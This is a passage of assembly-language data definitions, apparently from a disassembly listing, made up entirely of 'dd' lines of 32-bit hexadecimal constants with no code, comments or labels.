4FB10F0Ch, 9DAC2C30h, 0B32D2014h, 0E3A4C0CBh, 2E913DEh dd 6E23B432h, 56490717h, 650B3AB8h, 5D84121Eh, 1677FB54h dd 0D55B869Fh, 57509518h, 283EEF70h, 86EC13F8h, 45C9B0DCh dd 0DA30704Ch, 66094C9Ch, 0F7E8B51h, 817666F5h, 0BDBE1C16h dd 0C9211C68h, 0E454794Eh, 0B20AE0B8h, 1C4BB7C7h, 0C75AD728h dd 61885BFAh, 0C366B3E9h, 0A2F0897Ah, 2E8F2F51h, 69844AF7h dd 38A8E3FFh, 0A7CA4BFEh, 0AD6CB77Eh, 0E386E91Ah, 64CFFF28h dd 0B2462FB1h, 2F838D3Ah, 41E110F0h, 0F1843B4Dh, 903928FEh dd 16FFA366h, 505203A7h, 67F4B866h, 3E9EC1D9h, 471E8730h dd 51350EC8h, 0B382E8B9h, 0F05E3175h, 0C7FC5A0Ah, 581F4EA0h dd 1F48C101h, 0BCF62773h, 800BF003h, 5DB4E16Dh, 0C9F4A853h dd 0F06B4BECh, 8A9C7315h, 85F9F12Dh, 0E801308Fh, 0D28781C5h dd 74EB314Bh, 0BCFB4A7Eh, 0A1BEB090h, 12CE0B02h, 2F78EEC1h dd 2D649B09h, 4796FF1Bh, 0B248610Ch, 9163A32h, 2926B1CBh dd 8E2037Fh, 0D82C4FDDh, 0CA9D5BC3h, 0E9E7D7D4h, 21CC6884h dd 0E1E03CADh, 7A0CFF7Bh, 16EE07E9h, 15D9AC5Dh, 224D4A68h dd 90A7E90Bh, 1490A679h, 23B377Ch, 45E66E9Dh, 0A2785CEh dd 61CE6675h, 5E951E6h, 59AD400Bh, 8300BB53h, 817A126Bh dd 903DD7EBh, 0E8296825h, 18C2084h, 28EE2DACh, 0BF05BAE9h dd 0EAF4763Ah, 814150C0h, 0F41B8EE1h, 0A102B76Fh, 63DC47B3h dd 0B0F350E5h, 657E90Dh, 7A5179B9h, 0EC078820h, 6341EEA5h dd 55520EF9h, 0BD0BE820h, 0C16BB948h, 0D48CE697h, 60053742h dd 0B0058559h, 0C10681ECh, 52951D53h, 482BF4A8h, 0C9310C06h dd 0F06A7AC0h, 31396E9h, 0D1A13849h, 2BD4D100h, 31433D0Fh dd 8CADD15Fh, 0CEE73BB7h, 8B75B04Bh, 3F185F17h, 0C5280EA6h dd 0EE9130Ch, 9FE1504Ah, 1F4F3210h, 0FE8AD121h, 4B92CE5Eh dd 0EC4EF4E9h, 180E31ECh, 0F8F9575Ch, 5998016Fh, 4D2B9768h dd 0A707BEFh, 0BF42E7E9h, 79A72559h, 5D62FE2h, 7C3BD049h dd 0A16916BAh, 560BAF25h, 0D1370719h, 7CA006Fh, 952FC16Eh dd 0C2812D5Eh, 0C02211D5h, 2D2F826Ah, 0B1D5F19Ah, 0B27F5847h dd 92BC94B0h, 0CC0411A3h, 0AE2F715Dh, 8122294h, 0BE1C25AFh dd 0DC52805Ch, 6591A23h, 571D14BCh, 7B1D9834h, 0A53FDD7Ch dd 2C818DD7h, 0C6CFB27Bh, 0B0608EBh, 35F2E906h, 34D83B23h dd 4AD00826h, 0D407B10Bh, 74246F83h, 0C19C9045h, 6CB03E2h dd 0BDA0DF05h, 0BC6506F2h, 0CBE97F0Ah, 0FD94B114h, 0D92127F8h dd 0DD101500h, 34208E45h, 0CB2F44C7h, 0CF4A6324h, 195BD80Ah dd 0D6841D0Bh, 0CF80720Ch, 332C1AF1h, 0F8D9E919h, 0CE2BEE77h dd 6061153Ah, 0F8A95FA0h, 50ECFA10h, 2D4050B1h, 42C35828h dd 49B4F1B7h, 5CA03F88h, 546F402Ah, 0B25E4Eh, 6EE95381h dd 0BA1281FAh, 4B433884h, 85EEF07Fh, 0F4A51402h, 45BD04E9h dd 18680EE1h, 5909DA80h, 9F28E949h, 7590BA39h, 2111420h dd 76DCF181h, 895F9E93h, 78D6C3h, 4F745D05h, 0C252017Dh dd 3472D997h, 0B4FFB900h, 0F5403725h, 5DE82582h, 80C1455Dh dd 5906B768h, 29B05E67h, 0FEEE0860h, 88FF98A6h, 99D99E9h dd 0B21C7534h, 0B7FB6120h, 2A7D9FE0h, 26E2015Fh, 0E77A805Fh dd 958C645h, 0BA1D0514h, 0D5B8F639h, 4DE96461h, 2FFF33C7h dd 507CF5Eh, 0BAFFCDE9h, 1041775h, 0BB002074h, 64ED2406h dd 0FEDBF726h, 8590260Bh, 71EB01CDh, 96995262h, 0BA242934h dd 9020CC1Ch, 9E6220C5h, 78CA6807h, 0ADA27BDAh, 0A701C54Dh dd 2D1593DBh, 22871A58h, 0DAC35D50h, 637C70C0h, 0D525147Dh dd 699BFC30h, 12BD4DD5h, 0FE7041E5h, 0D1D486CCh, 3608ACCAh dd 5E53790Bh, 0F31D390Dh, 2861675Ah, 0AE84EBDFh, 9F4111A2h dd 0AA43842Fh, 9056709Ch, 6DBB02B9h, 0FE871A97h, 0A93C075h dd 0F7015F17h, 79A992EFh dd 2A414170h, 31019385h, 2E112330h, 0D01369F8h, 34028148h dd 29976051h, 0EE4C3249h, 0D9955C07h, 97BAD164h, 92B94056h dd 2904D176h, 3BCCE9C8h, 56F31EFh, 0CBCA5095h, 0EE3D25C5h dd 7E559C11h, 4AC25838h, 68A53CAFh, 0E9B90E62h, 952958D1h dd 87305466h, 0F480145Ah, 4AC4F0DAh, 11573103h, 0E1119223h dd 5B1C7B98h, 96F8E295h, 0AA15650Ah, 86A58DADh, 77966141h dd 0CA00A372h, 481ACC72h, 7500940Dh, 0E92D1811h, 90EEE75Dh dd 1049096Bh, 66FE3B9Ch, 6EDE08A0h, 0A535B640h, 98E9501Ah dd 0EBC3C43Dh, 501AB36h, 0E2C4D24h, 7B34D5D0h, 0BCC55F22h dd 38761067h, 0FE12BB5Ch, 0D2E7F80Dh, 43346EAh, 477618DAh dd 0C62E432h, 58C95E20h, 8004E7D0h, 0CAE998C7h, 4B31F693h dd 3B3FB184h, 24E97A8Ch, 0AFC9DE03h, 0ECC04078h, 90AE3C6h dd 0F2F1F30Dh, 0B1161A30h, 0E120013h, 0CE81312Fh, 114E9D0Ch dd 13653432h, 0ECCCC0B1h, 0F52D00F0h, 5408B1Fh, 7B61051Ch dd 84F8014Dh, 0E90803B5h, 9CDC0C51h, 0B99A89EEh, 43FC45B5h dd 0EE8467DEh, 347B04A3h, 0EE541E8Fh, 0AF93F281h, 9E59E92Ah dd 0FD2A46DFh, 831AF181h, 0E0EBBF30h, 0F0AA9441h, 4B4136A4h dd 50C1A244h, 87620B5Bh, 0B930CED0h, 6584C329h, 9E757632h dd 2096645Ah, 43F3F116h, 86F991CDh, 1C00420h, 0B55CD725h dd 0BE027609h, 60F728BAh, 0C482C518h, 0EEF86465h, 9BC4E84Ah dd 30FE8A0h, 69D5F795h, 25755E37h, 5C448E71h, 983B27CDh dd 1603EDD6h, 102680Fh, 81C42D5h, 39CD5A38h, 4E5CCB5Eh dd 3413F98Bh, 1699B384h, 0DD43C5DAh, 95741790h, 0C2BA5CEBh dd 250F42B5h, 73FA4BE1h, 15995864h, 78605DF1h, 2D9802Ch dd 9D8C4C52h, 93891165h, 8D819045h, 1C722C5Ch, 0E1B703F8h dd 0C8F0F871h, 0F6C05659h, 2DAD2A9Eh, 0BA061BEh, 0A78E39E9h dd 7399F84Dh, 0C19CEA03h, 0B652220Ch, 0E9F3C061h, 6A42F534h dd 17D5E3A3h, 0AA135EC4h, 267970F2h, 0AF502521h, 0AF7CB862h dd 0E00C53EAh, 0FBAEBB3h, 4D6956B8h, 48DC419Dh, 3E217DF0h dd 74E2EAE0h, 0DBB3B88h, 37E8F202h, 0E4DE0AB4h, 2139A18Eh dd 2401E91Bh, 0C50ECA36h, 79DF5570h, 292471A0h, 1005ECFEh dd 0CF815B08h, 1B946A39h, 513DBFFDh, 0C1E6B98h, 60311D7h dd 0EA895F05h, 0C4E0D4E9h, 66C20FB3h, 20E9B050h, 81744C77h dd 0E088AEA9h, 612CB7D9h, 0ED89281Ch, 0FD8F77B2h, 105DCA3Fh dd 0E521891h, 74821A22h, 52C44DEh, 5D145B42h, 1B201Ah dd 5FD93540h, 0C189D35Ah, 0A485585Ah, 90A1AA09h, 820D7203h dd 81351E55h, 997AB3DCh, 0ADB63E3Ch, 41B32E61h, 6E7531F6h dd 813AAC4h, 0DEEBB212h, 0B3B35F0Dh, 4909EF27h, 873B8EFEh dd 0A81DED3Dh, 657E44D2h, 0EA290C68h, 2177F7Eh, 0B2E878FAh dd 0BF2E7386h, 0E4F64425h, 9FA4FA11h, 0F5058880h, 382ED06Fh dd 9392152h, 5736C7Fh, 0BC9806C2h, 0DA43D023h, 0E3288409h dd 8BBA850Eh, 685034D4h, 214B54BDh, 19821CB8h, 0D1315242h dd 2CAEBE1Ah, 0AC0B9E6Fh, 24EF226h, 55A56761h, 68DDCD68h dd 9FFBFA2Fh, 9D64C851h, 2C2FE7B1h, 534B59C9h, 8586DBE7h dd 14C60AFBh, 209AED1Fh, 5A3831EFh, 5EF4E659h, 0ECD87006h dd 31B50151h, 0D06EB753h, 0B3F7F4EFh, 37FD202Eh, 27BA2113h dd 11ED82DFh, 0C1D38701h, 43A2431h, 9414379Ch, 38B0AAFBh dd 4AE20925h, 0ED8C06FBh, 0C401E86h, 4F072F68h, 504003DBh dd 9D734168h, 47E8A566h, 0B8562100h, 6A884CB1h, 0EECC9729h dd 0E9574806h, 0B738A9FFh, 3604A829h, 9B2D0034h, 0B7FDF90Bh dd 0CD116A24h, 51E67FEFh, 2B9A995Fh, 0C7922353h, 28C66810h dd 0A45B50FDh, 0B5EBEC2Eh, 0A86571F1h, 2C5B75D0h, 15D8E094h dd 0D6270468h, 0FFBC3716h, 60CABB28h, 0C4B5600Fh, 6E16CD80h dd 0B8FC9068h, 0FE01B2C0h, 0DA0BF6C2h, 0A992A9E9h, 0F2FAF88Ch dd 0AC894A75h, 12D3B1DDh, 37BE982Ah, 0D55E10C9h, 598B3CCh dd 74621A39h, 0C307654Fh, 0B3B5F529h, 0E44E39A8h, 3D6FF8Dh dd 0F34F05F8h, 717F48C7h, 4E9A4B13h, 58145B0h, 0F459C3CDh dd 80D88752h, 0D10A0D65h, 0E54BC1ECh, 35484C80h, 0E9590E40h dd 251C7D78h, 0E9F93C76h, 0B4549FCDh, 0FF7BA671h, 0CB788C3Ah dd 7997DAEAh, 687B7199h, 165358E5h, 0DA2C22F2h, 0E90244EDh dd 0FB08D85Bh, 362D40BDh, 3F4F4546h, 7418FF8h, 0FEE14238h dd 0CF6FA1D1h, 435A43Ah, 4008BE00h, 3B813EC2h, 0A9867EE6h dd 10DEF736h, 326C0A1Ch, 9C0133A6h, 0C133F263h, 1E8207D9h dd 0A190E84h, 63310A41h, 685809ECh, 5769B2C3h, 6CFE6EECh dd 94F3145Fh, 2ADA7479h, 0AB20AA7h, 0F558DB2Ah, 2D823CA8h dd 93169A5h, 6D451261h, 0C5901087h, 8D72112h, 8907329Dh dd 0FA3759CFh, 48A1BFA5h, 83B78A2Ah, 4C538EE9h, 0C7100710h dd 4E661C19h, 0D30EEEACh, 44EFF767h, 1695BDC2h, 0D84B43BCh dd 626057DDh, 6E5AEF65h, 108160Fh, 0C21416F8h, 0AB605602h dd 7D320EE2h, 0A130D405h, 9347148Ch, 9CF160FEh, 4D1CB11h dd 0E9F8037Eh, 3BB15002h, 99A01694h, 875FB906h, 180156D6h dd 736FF755h, 0C40A45D3h, 805870A9h, 6E67E709h, 77E49D23h dd 8CBF5705h, 80FA9D36h, 5D5986A5h, 99BF0BDh, 254E036Ch dd 9C30458Bh, 450549BAh, 0E2D1627Ah, 8682B9C0h, 21F8270Dh dd 0D4E9F830h, 1677BE49h, 6D0076EFh, 0FE18AEBAh, 0EA31317Fh dd 7AF4B3A2h, 0F34F9A8Ah, 49038FDh, 0CB01131Eh, 0B5480810h dd 9843A65Ah, 4A9EE90Dh, 8A2340CCh, 0BB71F261h, 0DB05C200h dd 0E9D33174h, 9087B251h, 0C77A2027h, 5E7C116h, 7DA101AAh dd 6E06D509h, 8B7C48C2h, 0F2E758F7h, 2D8A1CF1h, 16FABF25h dd 0AA7F9E30h, 0C625B613h, 0BADB86D8h, 62BD38ECh, 0C163DA81h dd 304506EDh, 4A12A415h, 910CD9E7h, 0A208645Dh, 24678DEh dd 52201205h, 7FBACA01h, 6ED98541h, 4D7976F3h, 53258E8Ch dd 0DD0BC8F2h, 862AFC74h, 4A6E439Fh, 190AB826h, 0E53FA31Eh dd 0B2502CDCh, 5D8016Dh, 2A545529h, 3D8A7E5Bh, 0B5002127h dd 0C8310EE8h, 5F80683Dh, 78F19F31h, 8CCDB26Fh, 0A500E8Bh dd 12E54E9h, 0EEC788C0h, 0D0E1EB93h, 0F9D1AD0h, 0E9CB210Fh dd 0CE4D926Ch, 0AD5E86EEh, 528B969Dh, 0C8DAF42Dh, 0C4488F2Ah dd 3892C602h, 7658134Ah, 0D1F0C4FDh, 0CA5D6664h, 0D7FA9C55h dd 1603EC18h, 392B96F6h, 841FE912h, 8880ABB1h, 2FA3208Ch dd 8A535A1Ch, 43C07D3Bh, 5E45E1EFh, 17F7EC6Eh, 5C2306Ah dd 0EF476C9Ch, 0EC2B053Dh, 6A4BA253h, 0FAA86381h, 0BE9FEEAh dd 9C7FCBF5h, 440AFC97h, 3B80149Bh, 6B58819Eh, 0B51888CBh dd 21153944h, 0E888E2C7h, 51E6A272h, 0DA53FD5h, 6F56B909h dd 80E25A12h, 0F3808CC1h, 0CB06975Dh, 2CE29402h, 27C3F7F5h dd 0A7FBAA6h, 4AE86880h, 0E4C6BD27h, 0B98507DDh, 49610E68h dd 29F2BB3Bh, 0B0DD5EA2h, 0B7A12903h, 0D6A7405Bh, 0F18A73ACh dd 0F257EF0Ch, 899C603Eh, 7FEFF4C2h, 0F6A1D75Eh, 8F74E2DDh dd 4C597ACBh, 3C2CBEFBh, 0D19739A8h, 0CA49EEEFh, 5E3A6085h dd 8955155Dh, 0A65AE1CDh, 0A02C1362h, 6A75AD40h, 25092B3Fh dd 0F7415DE8h, 20A79EC7h, 43407BA5h, 953F8553h, 9A08255Ch dd 0B2415FD9h, 0E8D16EEFh, 0DB80C8B4h, 0B21F22C6h, 0F5B83108h dd 134E712h, 9F165B0h, 5533A502h, 6C89EDE1h, 3B1C19BFh dd 0D6E6624h, 0A55B779Ah dd 73945D6Dh, 5DB391A0h, 57366C01h, 0FE304C68h, 525B5CE2h dd 4B9B405Dh, 56A52264h, 598C01B5h, 21604820h, 74540270h dd 614DE9C9h, 0F681FEDEh, 172E51ACh, 475AA02Ah, 8FA33F4Bh dd 0E919D196h, 2DB8B9A3h, 6BB6DC59h, 0E101CDF0h, 3F015FE7h dd 60DF65E9h, 58C7103Ch, 0BDDFFE09h, 8706358Ah, 0FFEA800Fh dd 0F257CA1Dh, 0E91260ABh, 26D12D69h, 0E5F61AB3h, 0B3878750h dd 88510CC8h, 1540761Ch, 973C04BEh, 0C129DE03h, 7E92AB8Eh dd 6E09B4A6h, 0B65F0142h, 93D19C18h, 522CAB5Eh, 797417EDh dd 0A87B0026h, 2D2BEF44h, 6858917Dh, 0F3C12F4Bh, 0F68631DDh dd 0D7FB0534h, 0C337C8ABh, 68555701h, 4FB516C8h, 75C3B65Ah dd 81F55060h, 2D13B4CDh, 0F60078AEh, 311EFF01h, 345DEF74h dd 8DC5D382h, 1C99B004h, 0EFB080FEh, 533B6A8Ah, 1ACF072Ch dd 183CED51h, 5AF3761Bh, 0D70F8FEh, 9E1FDCE9h, 0C13D4E60h dd 79F9BE0Dh, 0B8C744DDh, 9D7276Fh, 0F8FD7665h, 364FED68h dd 4FB1B8B8h, 52BD04FDh, 2C8C660h, 0DE9763A6h, 13BA5019h dd 1E8217B4h, 0C17C6A76h, 3100E55Ch, 89425BDAh, 16304E48h dd 518EEA3h, 290C951Eh, 3FFF9FFEh, 31294B78h, 3943B46Fh dd 4510A265h, 18E547FBh, 15DA230h, 3EF93362h, 38934089h dd 0CDFBC633h, 0E592FADBh, 50792423h, 0A7685103h, 0E1284702h dd 867C34D3h, 2D13BAD0h, 7572EFF3h, 8E5712C7h, 7050187h dd 5F3BE5Ch, 0E9DE290Bh, 9961D413h, 7E092565h, 32E95D2Ch dd 53981D9Bh, 0F1EA3BDFh, 547B8C72h, 6E26FC51h, 0A07BA71Ch dd 175FC501h, 0A6B4878h, 2608EDBDh, 6DD5491Ah, 2F14A91Eh dd 19E9A0E8h, 5101A49Ch, 76E1B966h, 0C3AD63D2h, 0EA0A0247h dd 0A0E90B0Eh, 0CD7784E4h, 0AF62F831h, 2B415AD5h, 0CFF8F021h dd 801CDE59h, 0B0B15146h, 807DC1FEh, 0F7EA9573h, 0B8E351B5h dd 0B252D805h, 25C7E911h, 2703E546h, 2714854h, 10F7A73Fh dd 0C109A73Dh, 30F504E6h, 7101B428h, 0E952093Bh, 8CCCC455h dd 9755F995h, 4E2E8F5Ch, 50014B8Ah, 0B5C1068h, 18447241h dd 0F22FC27Bh, 0A7DF1211h, 437BE4D1h, 8AD5FB18h, 271BC0C0h dd 0C4602C18h, 51BF2248h, 6BEC03Ch, 3A127C3Eh, 2EBDEF7h dd 0F808CA89h, 0A5CE9380h, 0E9F07D4Dh, 0D98AC12Dh, 42F03ABh dd 28E24182h, 9220A47Ch, 0D53ECD24h, 668DED81h, 4AC70991h dd 0CC9083FEh, 0D20B215Eh, 7BDEA0D1h, 0E7025B4Bh, 0DC9ED02Ah dd 98126135h, 8160DF31h, 9D5FF821h, 6804C4D1h, 4ACD4CB3h dd 0FE93A2EAh, 7B864ADh, 0D5320DE3h, 9F36354h, 0C91001B1h dd 0D20622DDh, 50C044FBh, 0DDF70661h, 20BC14CCh, 0EE3FF892h dd 1EFD6BF3h, 433E2D02h, 0B7B344h, 157FB82Ah, 0FF094AC4h dd 515D6540h, 2C6871B9h, 2B00D21h, 7C653828h, 3D5F8840h dd 105E50Bh, 4A3282CDh, 0AC91F12Dh, 6653184Dh, 644D9A68h dd 0BBDF8A2Ah, 0F4FDEE13h, 2124E45Fh, 0EC1C572Fh, 36102D8Eh dd 11608712h, 0C9147F8h, 80F8406Bh, 6A640578h, 0C083E0D1h dd 41E3E9BFh, 6B7389C0h, 0BE5D3B7Fh, 0DBA0419h, 1FE6BA01h dd 8097D950h, 658EAC1h, 0CB82E5C5h, 0F13D4093h, 97C5F6D4h dd 2D0160D2h, 799F377Ch, 0C32FD001h, 89D8A937h, 300FBD5Fh dd 0D2FA3B0Bh, 0BF8B5DFBh, 0F7F732DAh, 2B941978h, 6D0294E8h dd 8E342971h, 0F6F604Ch, 784A5860h, 0A9C20342h, 0D19C7BA1h dd 5585E017h, 0CBDE46F9h, 1928292Ch, 82B4819Bh, 0C076C280h dd 2527E9E2h, 7D94770h, 97C1668h, 3F3F457Dh, 3D10DF17h dd 18A53AE0h, 8D3A62Fh, 12ABE2E9h, 26170956h, 0EA0942C0h dd 0DA4B3D98h, 0B04CECB2h, 8D36972h, 8240230Fh, 3A05B304h dd 75990238h, 0B51ECC09h, 0EF7622Fh, 4F11B407h, 56C954E2h dd 79BFDD5Ah, 27E81FACh, 689C359h, 20CE667Bh, 5376B8E5h dd 8D6DB92Ah, 13CBB758h, 23F05943h, 37B166F3h, 0BA88DEE1h dd 5EFC5758h, 210BFD94h, 0EBF580F3h, 0D37340h, 7F902DC8h dd 0D8294248h, 5B070550h, 56676819h, 5A7CFEB7h, 0E4C14C62h dd 0A4B48F09h, 5D8D4834h, 0D1D8CC93h, 0ACF4ADh, 2C7BA8BEh dd 0A40B6D8Ch, 51FF0299h, 0A8645720h, 0E7FC3CA0h, 5A01DF2Eh dd 3DBFB20Ch, 680E06D2h, 0BCF72914h, 4A0BC71Dh, 32E91B83h dd 2D26256Bh, 6844CD2Fh, 0FEC2E00Eh, 203C7291h, 7B2C9889h dd 0B6E1DE1h, 1382BE23h, 51E34C04h, 3CB6C9E8h, 586B280Ah dd 30250635h, 826541C5h, 259846D5h, 0CA7003CBh, 438CB55Ah dd 875552B7h, 4FED9110h, 0D022D2ECh, 0E898BD98h, 790D224Dh dd 3DFD6812h, 85309633h, 8266C5FAh, 0B664DA5h, 0AFB75303h dd 92F88850h, 0A1A045C5h, 0D1190B80h, 55120B65h, 0EE8032BBh dd 0DD5A9DFCh, 39989198h, 5BDAADA8h, 37A20505h, 9AE44FEh dd 0FA605C8Dh, 1F4B6856h, 97836F3h, 22F15DC2h, 7000DB5Eh dd 0E9614534h, 28F460AEh, 180CE0D0h, 7E8C017h, 0E4D8D4BCh dd 0CF098091h, 506BE94Eh, 2B5458A6h, 0FCD18F12h, 4FF5A669h dd 0E9A7CC5Dh, 0C06A172Ch, 5FEAE142h, 201449B8h, 6860989Fh dd 0E60156BDh, 6627AB16h, 5698238h, 3C335657h, 1389BB25h dd 27B334DDh, 0D3F9FCDAh, 6885ACACh, 38D8332Ah, 0E5271390h dd 9203E635h, 0BAD68BB8h, 2405862Ch, 796763h, 1A1E35F5h dd 0E569D13Eh, 808B0004h, 5C90D862h, 12308451h, 6AC4B9B8h dd 177FE13Dh, 0B0F9634Fh, 0EF835A09h, 6171374h, 0C02A24BFh dd 0AB07EB12h, 2EE96013h, 13ACE457h, 177B3B51h, 4516AAE5h dd 0E9090CB7h, 0E17BE5C2h, 0A69E8920h, 9889C97h, 75434CB9h dd 371C5458h, 722D029h, 58535BF4h, 1D245099h, 0CB54BAEDh dd 84C5F69h, 0A85EB52Ch, 90A70CCDh, 0FE79055h, 0E15B9F75h dd 1313A5A4h, 9A50ADB2h, 0C7030090h, 536ABE31h, 9F92E982h dd 25BC173h, 0CC5F4E2h, 209DC9E4h, 3C704752h, 0C8E83AE1h dd 49B2BEE4h, 9F388541h, 4AE86802h, 85805C9Eh, 9A30A1E1h dd 3B0C4F60h, 2612D274h, 0A5D6FDE9h, 3F24A451h, 0C6371E0Ch dd 0F08A5F5Bh, 546F880Eh, 33A1C608h, 0D3C6951Ch, 0D1BD17B0h dd 6DF6C9C5h, 97D4688Eh, 4EE88634h, 20FEB873h, 0B03B5810h dd 70E6ACD1h, 82E2818Fh, 0C0095D51h, 655004AAh, 0C8D56E54h dd 30B6C5BFh, 4557BB01h, 5FE97005h, 5C24F32Ch, 4933EC7Ah dd 3CB3E64Ah, 24608657h, 912B52BAh, 0E0A43BF1h, 1D3944Eh dd 0BD797EB9h, 8BA8AD77h, 0CA2FF5F1h, 9DF82C61h, 5A146017h dd 830BE9E3h, 1A7DD00Ch, 0C0C1E237h, 7C03DB11h, 81CD029h dd 2C141C68h, 52391237h, 0CD21EA86h, 36C49E35h, 0C38907BDh dd 908D4E9h, 8344B1D3h, 52056802h, 0FD6934D6h, 3D098922h dd 0C5010076h, 0E38DC2FBh, 27759D6Fh, 710B921Fh, 0F434A92Eh dd 0A2D517B3h, 0A74592C4h, 22A23A98h, 7FF9259Bh, 0F2C2DFEh dd 0EB1294EBh, 16CA56D7h, 292254BCh, 7D0A2DC0h, 0C5FF16FFh dd 3E298Bh, 51250C39h, 242EAD1h, 5E0ECA81h, 7D6E75h, 4DD97355h dd 0E57AB701h, 2F55042Ch, 7A4BC602h, 932DE318h, 8244EFD6h dd 982C4CD6h, 422AE7Fh, 0D76678BAh, 0C84BA41h, 0E19AC8BBh dd 1A711718h, 430F50Ch, 0D5313933h, 0AE60AB5Ah, 0E1011C85h dd 8632802h, 67F8ADF5h, 66538FCCh, 3D78E950h, 0C3801A83h dd 559FFE93h, 0FACC1F3h, 0DC88013Fh, 403CF570h, 0F54C0167h dd 0BD3010A7h, 9EDBB2Eh, 69DD4BC8h, 28B85094h, 0ACFE3125h dd 0DDC4513Dh dd 0F616A502h, 0C4BB63D8h, 5D485776h, 0A2200253h, 0F629BFCEh dd 0B7FD1015h, 685DEFE0h, 3D5C5F95h, 4CCB6FECh, 0C3B5E917h dd 287BAC09h, 9A20997Ah, 0CE302442h, 0D25B421Ah, 3C685100h dd 2DAF3D32h, 0F86B1292h, 24E682DDh, 0C6BC40CAh, 2CD3726Eh dd 92368965h, 2ABAB1C4h, 6975EA01h, 6AF06CA0h, 8C1783E3h dd 69AEEB37h, 16E2324Bh, 342AF0Eh, 0DC759168h, 0F55447BAh dd 580CA0A4h, 0C5E38B95h, 9C2BAAD1h, 27C1CE7Eh, 55312B4Ah dd 348509C6h, 246FF5D6h, 78F7A226h, 7FE72C1Fh, 730DB54h dd 0E3805AF3h, 40EB3395h, 0A9F9DDCBh, 8C393F9Fh, 4E7ED6F9h dd 0E5E9F0A9h, 0BD042CF0h, 52200648h, 5D3F2BB9h, 0F865D795h dd 36C0D32Fh, 87828CFFh, 1C59C49h, 3168FF20h, 15E79765h dd 273236A8h, 5EDF2183h, 1AB66FAEh, 0E7751ABAh, 0BDE984F3h dd 0D789BAF6h, 3B0892Ch, 749DE6Bh, 0C381007Ah, 56337E11h dd 0E9401793h, 2FEEB1A5h, 44D709F7h, 49CECD11h, 7A345155h dd 0FB4870F9h, 6EB951C0h, 6B6D257Bh, 33BB6EE0h, 829E6A3Fh dd 62E9FB31h, 2A93DD2Dh, 6AA554C1h, 8924AFCAh, 2774A8EFh dd 7DD4E2D2h, 9B54B6C2h, 0C159B28Ch, 0EA65C738h, 2AED9E01h dd 0FF89AFD3h, 3FADCF80h, 0CF9827BAh, 44385501h, 384E91Fh dd 864DD7Bh, 0D57DE970h, 0E0BF0F92h, 0E12A16E6h, 0C0E3F6C2h dd 0DF5E63F5h, 94E1E58h, 0F80DE9E8h, 30BF052Bh, 0F038084Ch dd 482F9DE2h, 5EFD4C5h, 0D37BE903h, 55B62174h, 0DCFA6F9Ah dd 66909A5Eh, 30906296h, 350E4912h, 645A5854h, 3CB08FF8h dd 0FA584DE7h, 7C231ECCh, 5CF81D17h, 9008C128h, 3476316Bh dd 3EEDF4E3h, 4459F91h, 0B8475CCCh, 0FE7F2A5h, 2FEE4379h dd 1487EFE0h, 0C8C07622h, 2AA88B5Ch, 76789D31h, 4EDFF24Ch dd 0B8502F00h, 7B7628h, 7F50D0Eh, 0D8052779h, 743B617Dh dd 941E0740h, 0C320A021h, 0FF38158h, 3FE7765Bh, 18733BC2h dd 0BCD21DC3h, 2771E5F5h, 3AE00FC9h, 2DAE9817h, 0D7EC2F6Fh dd 677CD0A4h, 1D01D126h, 0C79FE6BBh, 0A82E293Dh, 0C4198DF2h dd 0E5F5AC2Bh, 0BAA5ABBCh, 4EF8C228h, 6018CD59h, 5E814C85h dd 4EB6254h, 9F012B0h, 0F3E92089h, 4EC004EFh, 48C1FC6Bh dd 0F2B2B503h, 0EAA2E90Bh, 4ED63B75h, 0A47DECA0h, 1290922h dd 80301DE9h, 332CB8ECh, 0B7313D88h, 961215D1h, 0CBAA1FC5h dd 2F071CA9h, 42537ED7h, 0ED3D03BBh, 0F8EDEB92h, 58A25EBDh dd 0ED8EE9C7h, 82E32A44h, 0E9C245D2h, 0A38B8E4h, 7E029868h dd 0C826C6B3h, 78E93CEFh, 734DBD5Ah, 430CF6A8h, 0C6E5355h dd 15712B2h, 0AF50AE5Bh, 0DDF25A08h, 614FB9C0h, 0CCE25E5h dd 7D86000Eh, 3015C8BFh, 0E9E6AED7h, 53957135h, 58E29028h dd 19EA3C76h, 0BA22323Bh, 3E3AEF60h, 2624BF65h, 338925BCh dd 983D0F6h, 0DD6B8412h, 52A79788h, 954BB907h, 48F6BCEAh dd 0F9954B96h, 95FADEE0h, 0F1043952h, 79E6775Fh, 0AD84F4BFh dd 686E8613h, 7F858C00h, 4C0109BBh, 841F2CDh, 0F38656BFh dd 1A2B1547h, 0B2D837Fh, 8695C92h, 6C988E9Fh, 3E0E2DA0h dd 0B2A72B19h, 96630C0h, 599C65Bh, 0BFF057E9h, 0C62B7DBEh dd 0A7CB6B8h, 0C2EEE1Fh, 0DCFE018Bh, 20611212h, 780222A8h dd 65F7205Dh, 9014E036h, 8541125Bh, 2A0053A2h, 51CEE57h dd 0A72D7349h, 206D5E36h, 555E0107h, 0AA162FBDh, 8D2A3034h dd 0EBE8A55Eh, 7E94FBD2h, 55B3E480h, 214E27A5h, 0F23F1058h dd 49468961h, 2EFDDA31h, 0A84EE7E9h, 5EF69074h, 0FE90C937h dd 0DC4AA8DDh, 0F56E823Fh, 0CD890Dh, 0D8EB82C5h, 0A0115F4Eh dd 15B317DFh, 71E77649h, 1C80922Fh, 9EA88B21h, 0BF45944h dd 4E39D45Dh, 0C0ED6D00h, 95109AB1h, 15685E87h, 0C6F3AC3Ah dd 4E5E3BFh, 141F80C9h, 58BAEC3Dh, 27417B79h, 0EF5417Bh dd 20256248h, 1EE86D93h, 0F10C82F3h, 0D767C5B9h, 9D3AC90Ch dd 0A483BC4Ch, 0EE31E704h, 0F7827FBCh, 47148D8h, 0C5750501h dd 94D4A861h, 115B3D1Ah, 737AAB0Ch, 2D51F8E6h, 1189D607h dd 460BF7FEh, 510D544h, 122F6B73h, 40BEA69h, 0CBEF5A08h dd 2F37129Fh, 4462C1A6h, 0AEE21B3Dh, 1395946Bh, 68C85608h dd 9930E9A6h, 0EB28E4FAh, 4A807359h, 8717F95Eh, 110E30CEh dd 0BB145978h, 0BE38912h, 0DC63181Dh, 0E1570ADAh, 0F22B306Fh dd 0FC27DCEDh, 0B0BBA0E3h, 9F14BD78h, 5FFF0995h, 649FE59Ch dd 0D0680264h, 4EDBE94Fh, 0FF20D6AFh, 5D483F67h, 0C98F63BFh dd 8C7B5369h, 119DFFBCh, 64E8ED09h, 215D4C9Ah, 78690890h dd 849D1775h, 0B774EE9h, 93045FC0h, 60D3A192h, 0D91E5F2Fh dd 0E1D7DD28h, 25F68AB0h, 0A7766D6h, 461F9A22h, 62972CA5h dd 0A12C2E37h, 0C9053CC7h, 0E97A1770h, 6DD01021h, 0BAEE8812h dd 